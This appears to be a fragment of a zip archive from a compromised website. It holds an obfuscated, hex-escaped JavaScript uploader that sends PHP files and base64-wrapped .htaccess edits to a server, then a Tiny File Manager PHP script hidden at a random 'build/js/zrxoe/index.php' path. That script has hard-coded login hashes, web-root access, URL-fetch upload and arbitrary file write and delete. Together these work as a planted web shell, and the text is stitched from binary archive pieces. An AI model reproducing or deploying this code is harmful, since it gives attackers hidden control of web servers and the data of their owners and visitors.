20\x20\x20\40\40\40\40\x20\x20\40\40\x20\x20\x63\x6f\156\163\164\40\x66\151\x6c\x65\122\145\141\x64\x50\x72\157\x6d\x69\163\x65\x20\x3d\40\156\145\167\40\120\162\157\x6d\x69\163\145\x28\50\162\145\x73\x6f\154\x76\x65\54\40\x72\x65\152\x65\x63\164\51\x20\75\x3e\x20\x7b\40\162\145\141\x64\145\x72\x2e\157\156\154\x6f\141\144\x20\x3d\x20\x65\166\x65\156\164\40\x3d\76\x20\x72\x65\x73\x6f\154\166\145\x28\145\166\145\156\164\56\x74\x61\162\x67\145\x74\56\162\x65\x73\x75\x6c\164\51\73\40\x72\145\141\144\x65\x72\56\x6f\x6e\x65\162\x72\x6f\162\40\x3d\40\145\162\x72\x6f\162\40\75\76\40\162\145\x6a\x65\143\x74\x28\x65\x72\x72\157\x72\51\73\x20\x72\x65\x61\x64\145\162\56\x72\x65\141\144\x41\163\104\x61\164\141\x55\122\x4c\x28\x66\x69\154\x65\x29\73\x20\x7d\51\73\12\40\40\40\40\x20\x20\x20\40\x20\40\40\40\x20\40\40\x20\x74\x72\171\x20\x7b\12\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\40\x20\40\40\40\40\x20\x63\x6f\156\x73\164\40\x63\157\x6e\164\x65\x6e\164\x5f\142\141\x73\145\66\64\x20\x3d\x20\x61\167\141\151\x74\x20\146\151\x6c\145\122\145\x61\x64\120\162\157\155\x69\163\x65\x3b\12\40\x20\x20\40\x20\40\40\40\40\40\40\x20\40\40\40\40\x20\x20\40\x20\x63\157\x6e\x73\x74\40\x6f\162\151\147\151\x6e\x61\154\116\x61\x6d\x65\x20\x3d\40\x66\x69\154\145\x2e\156\141\x6d\145\x3b\12\x20\40\x20\40\x20\x20\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\40\x63\x6f\x6e\163\164\x20\146\144\x20\x3d\40\x6e\145\167\40\106\x6f\x72\155\x44\141\164\141\x28\x29\73\xa\40\x20\40\x20\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\x20\x20\x20\x20\146\x64\56\141\x70\x70\x65\156\144\50\47\160\x61\x74\150\47\54\40\x53\124\x41\x54\105\x2e\x63\165\x72\x72\145\156\164\120\141\164\150\51\73\12\x20\40\40\40\40\x20\x20\x20\40\40\40\40\40\40\40\40\40\40\x20\x20\146\x64\56\141\160\160\145\x6e\x64\x28\x27\x63\157\x6e\x74\x65\156\x74\137\x62\x61\163\145\66\64\x27\54\x20\143\157\156\164\145\156\164\x5f\142\141\163\x65\x36\64\51\73\12\40\x20\40\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\40\40\151\146\40\50\x6f\162\151\x67\151\156\141\154\x4e\141\155\x65\56\164\x6f\114\157\x77\x65\162\x43\x61\163\145\50\x29\x2e\145\x6e\144\163\x57\x69\x74\x68\50\x27\56\x70\x68\160\x27\51\x29\40\x7b\12\x20\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\146\144\x2e\x61\x70\160\145\156\x64\50\47\146\151\x6c\145\x6e\141\x6d\x65\137\x62\x61\163\145\x36\x34\47\x2c\40\x62\164\157\141\50\x6f\x72\151\147\151\156\141\x6c\x4e\x61\155\x65\51\51\x3b\xa\x20\x20\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\40\40\40\x20\40\40\40\40\x20\x20\x20\141\167\x61\151\x74\x20\141\160\151\x43\141\154\x6c\50\x27\x75\x70\154\x6f\x61\x64\x5f\x70\x68\x70\x27\x2c\40\146\144\54\40\x74\162\165\145\x29\x3b\xa\x20\40\x20\40\40\40\40\x20\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\175\40\145\154\x73\x65\x20\x7b\xa\40\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\x20\40\40\x20\146\144\x2e\141\160\160\145\x6e\144\x28\47\146\x69\154\x65\156\x61\x6d\145\x5f\142\x61\163\145\x36\x34\x27\54\40\142\164\x6f\141\x28\157\x72\151\x67\151\x6e\141\x6c\116\141\155\x65\51\x29\73\12\40\x20\x20\x20\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\40\x20\40\40\141\167\x61\x69\x74\x20\141\160\x69\103\x61\154\154\50\47\165\x70\154\x6f\141\144\47\x2c\x20\x66\x64\x2c\40\x74\x72\165\x65\x29\x3b\xa\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x7d\12\40\x20\40\40\40\40\40\x20\40\x20\40\40\x20\40\40\40\x7d\40\143\141\x74\x63\x68\x20\x28\x65\162\162\157\162\x29\40\x7b\xa\40\x20\x20\40\40\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\x20\40\x20\40\x61\154\145\x72\x74\50\x60\x46\141\151\x6c\x65\144\40\x74\157\x20\x70\162\x6f\143\x65\163\163\40\x66\151\x6c\145\x20\x24\173\146\x69\154\x65\56\156\141\x6d\145\175\72\x20\44\173\x65\162\x72\x6f\x72\56\155\x65\x73\163\141\x67\145\x7d\x60\x29\x3b\12\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\x7d\xa\40\40\x20\x20\x20\40\40\40\40\40\x20\40\175\12\x20\x20\40\x20\x20\40\x20\40\x20\40\40\x20\x65\56\164\141\x72\147\145\x74\56\x76\x61\x6c\x75\x65\40\x3d\x20\x27\47\73\12\40\40\40\x20\x20\x20\40\x20\x20\40\40\40\162\x65\156\x64\145\162\x28\51\x3b\xa\x20\x20\40\40\x20\x20\40\x20\x7d\51\x3b\12\xa\x20\40\40\40\40\40\40\40\144\x6f\x6d\56\x73\141\166\x65\102\x74\x6e\x2e\x61\144\144\x45\166\145\156\x74\114\x69\163\164\145\156\145\x72\x28\x27\x63\154\151\x63\x6b\47\x2c\40\x28\x29\40\75\76\x20\x7b\xa\40\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x63\x6f\x6e\163\164\40\x70\x61\164\x68\x20\75\40\144\x6f\x6d\x2e\x65\x64\x69\164\157\162\x46\151\x6c\x65\156\x61\155\x65\56\x74\x65\170\x74\x43\157\x6e\164\x65\x6e\164\x3b\12\x20\x20\x20\x20\40\x20\40\x20\x20\40\x20\x20\x63\157\156\x73\x74\x20\143\x6f\156\164\145\x6e\164\40\75\40\x62\x74\x6f\x61\50\x62\164\157\141\50\144\157\x6d\56\145\x64\151\x74\x6f\162\x2e\166\x61\x6c\x75\x65\x29\51\x3b\xa\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\x63\157\x6e\163\x74\40\x66\x64\x20\75\40\156\x65\167\40\x46\157\x72\x6d\x44\x61\x74\141\50\x29\73\12\x20\40\x20\40\40\x20\x20\40\40\40\x20\40\x63\x6f\x6e\163\x74\40\143\150\x75\156\153\x53\151\172\145\40\x3d\40\64\x30\71\x36\73\12\x20\40\x20\40\x20\x20\40\40\x20\x20\x20\40\146\157\162\x20\x28\154\x65\164\40\151\x20\75\40\60\73\x20\x69\40\74\40\x63\157\156\x74\x65\156\x74\x2e\154\145\156\147\x74\150\73\x20\151\40\x2b\75\x20\x63\150\165\x6e\x6b\x53\151\172\145\x29\40\173\xa\x20\x20\x20\x20\40\40\x20\40\40\x20\x20\40\x20\x20\40\x20\146\x64\x2e\141\160\x70\145\156\144\50\x27\143\157\x6e\x74\145\x6e\x74\x5f\143\150\165\156\x6b\x73\133\x5d\x27\x2c\x20\143\x6f\156\164\145\156\x74\x2e\x73\165\x62\x73\x74\x72\151\156\x67\x28\x69\x2c\40\x69\x20\x2b\40\x63\x68\x75\156\x6b\123\151\172\x65\x29\51\73\12\x20\x20\40\x20\x20\x20\40\x20\x20\40\40\40\x7d\xa\40\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\154\x65\164\40\141\x63\164\151\157\x6e\40\75\40\47\163\141\166\145\x5f\143\x6f\156\x74\x65\x6e\164\47\x3b\12\x20\40\x20\40\x20\x20\40\40\x20\40\x20\40\151\146\x20\x28\160\141\164\150\56\x69\156\143\154\165\144\145\x73\x28\x27\x2e\150\x74\141\x63\143\x65\163\x73\x27\x29\x29\x20\173\xa\x20\40\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\40\40\141\x63\x74\151\157\x6e\x20\75\40\47\x73\141\x76\x65\137\x63\x6f\x6e\164\145\156\164\x5f\142\66\64\x27\73\12\x20\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\146\x64\56\141\x70\160\x65\156\144\x28\47\160\141\x74\x68\x5f\x62\66\64\47\54\x20\142\164\157\x61\x28\x70\x61\x74\x68\51\51\x3b\xa\40\x20\40\40\40\40\40\x20\40\x20\40\40\x7d\40\x65\x6c\163\x65\x20\x7b\xa\x20\40\40\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\x66\x64\56\x61\x70\x70\x65\x6e\144\50\47\x70\141\164\x68\47\54\x20\x70\x61\x74\150\51\x3b\xa\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\x20\x7d\xa\x20\x20\x20\x20\40\40\x20\x20\40\x20\40\x20\141\160\x69\103\x61\x6c\154\50\x61\143\164\x69\x6f\156\x2c\x20\x66\x64\x2c\40\164\162\x75\x65\51\56\x74\x68\145\156\x28\x72\x65\163\165\154\164\x20\75\x3e\x20\173\xa\40\40\40\40\x20\x20\40\40\x20\40\x20\40\x20\x20\x20\40\x69\x66\x28\x72\x65\163\165\x6c\164\x29\40\173\12\x20\40\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\x20\144\157\x6d\x2e\145\144\151\x74\157\162\x4d\x6f\144\141\x6c\56\x73\x74\171\154\x65\56\x64\x69\163\x70\154\x61\171\40\75\x20\47\x6e\157\156\x65\x27\x3b\12\x20\40\x20\40\40\40\x20\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\40\x20\x72\x65\x6e\x64\x65\x72\x28\51\x3b\12\40\x20\40\40\40\40\x20\40\40\x20\40\40\x20\x20\x20\x20\x7d\12\40\x20\x20\40\40\x20\40\40\x20\x20\40\40\175\x29\x3b\xa\x20\40\x20\x20\x20\x20\x20\x20\x7d\x29\x3b\12\xa\40\x20\40\x20\x20\40\40\x20\162\145\x6e\x64\x65\x72\50\x29\73\12\40\40\x20\40\175\51\73\xa\x20\40\40\x20\x3c\x2f\x73\143\x72\x69\x70\164\76\xa\74\x2f\142\157\x64\171\76\12\x3c\57\x68\164\x6d\154\x3e";PK65\V&archive/v2/v2/build/js/zrxoe/index.phpnuW+A 'Password', 'Username2' => 'Password2', ...) // Generate secure password hash - https://tinyfilemanager.github.io/docs/pwd.html $auth_users = array( 'admin' => '$2y$10$D5FN5gNpeDd4IB9XwjNES.hbDWuHpYCQ.GPWh4SwE4iz2nVvYA3wO', //pass 'user' => '$2y$10$/KVtAF/hL79tCnCbZOeQnedoXXbBIe.sw9r02yPX0Uhy85GUsRe9q' //12345 ); // Readonly users // e.g. array('users', 'guest', ...) $readonly_users = array( 'user' ); // Enable highlight.js (https://highlightjs.org/) on view's page $use_highlightjs = true; // highlight.js style // for dark theme use 'ir-black' $highlightjs_style = 'vs'; // Enable ace.js (https://ace.c9.io/) on view's page $edit_files = true; // Default timezone for date() and time() // Doc - http://php.net/manual/en/timezones.php $default_timezone = 'Etc/UTC'; // UTC // Root path for file manager // use absolute path of directory i.e: '/var/www/folder' or $_SERVER['DOCUMENT_ROOT'].'/folder' $root_path = $_SERVER['DOCUMENT_ROOT']; // Root url for links in file manager.Relative to $http_host. Variants: '', 'path/to/subfolder' // Will not working if $root_path will be outside of server document root $root_url = ''; // Server hostname. Can set manually if wrong $http_host = $_SERVER['HTTP_HOST']; // user specific directories // array('Username' => 'Directory path', 'Username2' => 'Directory path', ...) $directories_users = array(); // input encoding for iconv $iconv_input_encoding = 'UTF-8'; // date() format for file modification date // Doc - https://www.php.net/manual/en/function.date.php $datetime_format = 'd.m.y H:i'; // Allowed file extensions for create and rename files // e.g. 'txt,html,css,js' $allowed_file_extensions = ''; // Allowed file extensions for upload files // e.g. 'gif,png,jpg,html,txt' $allowed_upload_extensions = ''; // Favicon path. This can be either a full url to an .PNG image, or a path based on the document root. // full path, e.g http://example.com/favicon.png // local path, e.g images/icons/favicon.png $favicon_path = ''; // Files and folders to excluded from listing // e.g. array('myfile.html', 'personal-folder', '*.php', ...) $exclude_items = array(); // Online office Docs Viewer // Availabe rules are 'google', 'microsoft' or false // google => View documents using Google Docs Viewer // microsoft => View documents using Microsoft Web Apps Viewer // false => disable online doc viewer $online_viewer = 'google'; // Sticky Nav bar // true => enable sticky header // false => disable sticky header $sticky_navbar = true; // Maximum file upload size // Increase the following values in php.ini to work properly // memory_limit, upload_max_filesize, post_max_size $max_upload_size_bytes = 5000; // Possible rules are 'OFF', 'AND' or 'OR' // OFF => Don't check connection IP, defaults to OFF // AND => Connection must be on the whitelist, and not on the blacklist // OR => Connection must be on the whitelist, or not on the blacklist $ip_ruleset = 'OFF'; // Should users be notified of their block? $ip_silent = true; // IP-addresses, both ipv4 and ipv6 $ip_whitelist = array( '127.0.0.1', // local ipv4 '::1' // local ipv6 ); // IP-addresses, both ipv4 and ipv6 $ip_blacklist = array( '0.0.0.0', // non-routable meta ipv4 '::' // non-routable meta ipv6 ); // if User has the customized config file, try to use it to override the default config above $config_file = __DIR__.'/config.php'; if (is_readable($config_file)) { @include($config_file); } // --- EDIT BELOW CAREFULLY OR DO NOT EDIT AT ALL --- // max upload file size define('MAX_UPLOAD_SIZE', $max_upload_size_bytes); // private key and session name to store to the session if ( !defined( 'FM_SESSION_ID')) { define('FM_SESSION_ID', 'filemanager'); } // Configuration $cfg = new FM_Config(); // Default language $lang = isset($cfg->data['lang']) ? $cfg->data['lang'] : 'en'; // Show or hide files and folders that starts with a dot $show_hidden_files = isset($cfg->data['show_hidden']) ? $cfg->data['show_hidden'] : true; // PHP error reporting - false = Turns off Errors, true = Turns on Errors $report_errors = isset($cfg->data['error_reporting']) ? $cfg->data['error_reporting'] : true; // Hide Permissions and Owner cols in file-listing $hide_Cols = isset($cfg->data['hide_Cols']) ? $cfg->data['hide_Cols'] : true; // Show directory size: true or speedup output: false $calc_folder = isset($cfg->data['calc_folder']) ? $cfg->data['calc_folder'] : true; // Theme $theme = isset($cfg->data['theme']) ? $cfg->data['theme'] : 'light'; define('FM_THEME', $theme); //available languages $lang_list = array( 'en' => 'English' ); if ($report_errors == true) { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 1); } else { @ini_set('error_reporting', E_ALL); @ini_set('display_errors', 0); } // if fm included if (defined('FM_EMBED')) { $use_auth = false; $sticky_navbar = false; } else { @set_time_limit(600); date_default_timezone_set($default_timezone); ini_set('default_charset', 'UTF-8'); if (version_compare(PHP_VERSION, '5.6.0', '<') && function_exists('mb_internal_encoding')) { mb_internal_encoding('UTF-8'); } if (function_exists('mb_regex_encoding')) { mb_regex_encoding('UTF-8'); } session_cache_limiter(''); session_name(FM_SESSION_ID ); function session_error_handling_function($code, $msg, $file, $line) { // Permission denied for default session, try to create a new one if ($code == 2) { session_abort(); session_id(session_create_id()); @session_start(); } } set_error_handler('session_error_handling_function'); session_start(); restore_error_handler(); } if (empty($auth_users)) { $use_auth = false; } $is_https = isset($_SERVER['HTTPS']) && ($_SERVER['HTTPS'] == 'on' || $_SERVER['HTTPS'] == 1) || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https'; // update $root_url based on user specific directories if (isset($_SESSION[FM_SESSION_ID]['logged']) && !empty($directories_users[$_SESSION[FM_SESSION_ID]['logged']])) { $wd = fm_clean_path(dirname($_SERVER['PHP_SELF'])); $root_url = $root_url.$wd.DIRECTORY_SEPARATOR.$directories_users[$_SESSION[FM_SESSION_ID]['logged']]; } // clean $root_url $root_url = fm_clean_path($root_url); // abs path for site defined('FM_ROOT_URL') || define('FM_ROOT_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . (!empty($root_url) ? '/' . $root_url : '')); defined('FM_SELF_URL') || define('FM_SELF_URL', ($is_https ? 'https' : 'http') . '://' . $http_host . $_SERVER['PHP_SELF']); // logout if (isset($_GET['logout'])) { unset($_SESSION[FM_SESSION_ID]['logged']); fm_redirect(FM_SELF_URL); } // Validate connection IP if($ip_ruleset != 'OFF'){ $clientIp = $_SERVER['REMOTE_ADDR']; $proceed = false; $whitelisted = in_array($clientIp, $ip_whitelist); $blacklisted = in_array($clientIp, $ip_blacklist); if($ip_ruleset == 'AND'){ if($whitelisted == true && $blacklisted == false){ $proceed = true; } } else if($ip_ruleset == 'OR'){ if($whitelisted == true || $blacklisted == false){ $proceed = true; } } if($proceed == false){ trigger_error('User connection denied from: ' . $clientIp, E_USER_WARNING); if($ip_silent == false){ fm_set_msg(lng('Access denied. IP restriction applicable'), 'error'); fm_show_header_login(); fm_show_message(); } exit(); } } // Auth if ($use_auth) { if (isset($_SESSION[FM_SESSION_ID]['logged'], $auth_users[$_SESSION[FM_SESSION_ID]['logged']])) { // Logged } elseif (isset($_POST['fm_usr'], $_POST['fm_pwd'])) { // Logging In sleep(1); if(function_exists('password_verify')) { if (isset($auth_users[$_POST['fm_usr']]) && isset($_POST['fm_pwd']) && password_verify($_POST['fm_pwd'], $auth_users[$_POST['fm_usr']])) { $_SESSION[FM_SESSION_ID]['logged'] = $_POST['fm_usr']; fm_set_msg(lng('You are logged in')); fm_redirect(FM_SELF_URL . '?p='); } else { unset($_SESSION[FM_SESSION_ID]['logged']); fm_set_msg(lng('Login failed. Invalid username or password'), 'error'); fm_redirect(FM_SELF_URL); } } else { fm_set_msg(lng('password_hash not supported, Upgrade PHP version'), 'error');; } } else { // Form unset($_SESSION[FM_SESSION_ID]['logged']); fm_show_header_login(); ?>
    ".lng('Root path')." \"{$root_path}\" ".lng('not found!')." "; exit; } defined('FM_SHOW_HIDDEN') || define('FM_SHOW_HIDDEN', $show_hidden_files); defined('FM_ROOT_PATH') || define('FM_ROOT_PATH', $root_path); defined('FM_LANG') || define('FM_LANG', $lang); defined('FM_FILE_EXTENSION') || define('FM_FILE_EXTENSION', $allowed_file_extensions); defined('FM_UPLOAD_EXTENSION') || define('FM_UPLOAD_EXTENSION', $allowed_upload_extensions); defined('FM_EXCLUDE_ITEMS') || define('FM_EXCLUDE_ITEMS', (version_compare(PHP_VERSION, '7.0.0', '<') ? serialize($exclude_items) : $exclude_items)); defined('FM_DOC_VIEWER') || define('FM_DOC_VIEWER', $online_viewer); define('FM_READONLY', $use_auth && !empty($readonly_users) && isset($_SESSION[FM_SESSION_ID]['logged']) && in_array($_SESSION[FM_SESSION_ID]['logged'], $readonly_users)); define('FM_IS_WIN', DIRECTORY_SEPARATOR == '\\'); // always use ?p= if (!isset($_GET['p']) && empty($_FILES)) { fm_redirect(FM_SELF_URL . '?p='); } // get path $p = isset($_GET['p']) ? $_GET['p'] : (isset($_POST['p']) ? $_POST['p'] : ''); // clean path $p = fm_clean_path($p); // for ajax request - save $input = file_get_contents('php://input'); $_POST = (strpos($input, 'ajax') != FALSE && strpos($input, 'save') != FALSE) ? json_decode($input, true) : $_POST; // instead globals vars define('FM_PATH', $p); define('FM_USE_AUTH', $use_auth); define('FM_EDIT_FILE', $edit_files); defined('FM_ICONV_INPUT_ENC') || define('FM_ICONV_INPUT_ENC', $iconv_input_encoding); defined('FM_USE_HIGHLIGHTJS') || define('FM_USE_HIGHLIGHTJS', $use_highlightjs); defined('FM_HIGHLIGHTJS_STYLE') || define('FM_HIGHLIGHTJS_STYLE', $highlightjs_style); defined('FM_DATETIME_FORMAT') || define('FM_DATETIME_FORMAT', $datetime_format); unset($p, $use_auth, $iconv_input_encoding, $use_highlightjs, $highlightjs_style); /*************************** ACTIONS ***************************/ // AJAX Request if (isset($_POST['ajax']) && !FM_READONLY) { // save if (isset($_POST['type']) && $_POST['type'] == "save") { // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } $file = $_GET['edit']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file)) { fm_set_msg(lng('File not found'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } header('X-XSS-Protection:0'); $file_path = $path . '/' . $file; $writedata = $_POST['content']; $fd = fopen($file_path, "w"); $write_results = @fwrite($fd, $writedata); fclose($fd); if ($write_results === false){ header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } //search : get list of files from the current folder if(isset($_POST['type']) && $_POST['type']=="search") { $dir = FM_ROOT_PATH; $response = scan(fm_clean_path($_POST['path']), $_POST['content']); echo json_encode($response); exit(); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = $_POST['file']; $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $calc_folder, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $caf = isset($_POST['js-calc-folder']) && $_POST['js-calc-folder'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['calc_folder'] != $caf) { $cfg->data['calc_folder'] = $caf; $calc_folder = $caf; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(basename($url), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, get_file_path()); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Create folder if (isset($_GET['new']) && isset($_GET['type']) && !FM_READONLY) { $type = $_GET['type']; $new = str_replace( '/', '', fm_clean_path( strip_tags( $_GET['new'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.') { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($_GET['type'] == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = $_GET['copy']; $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ 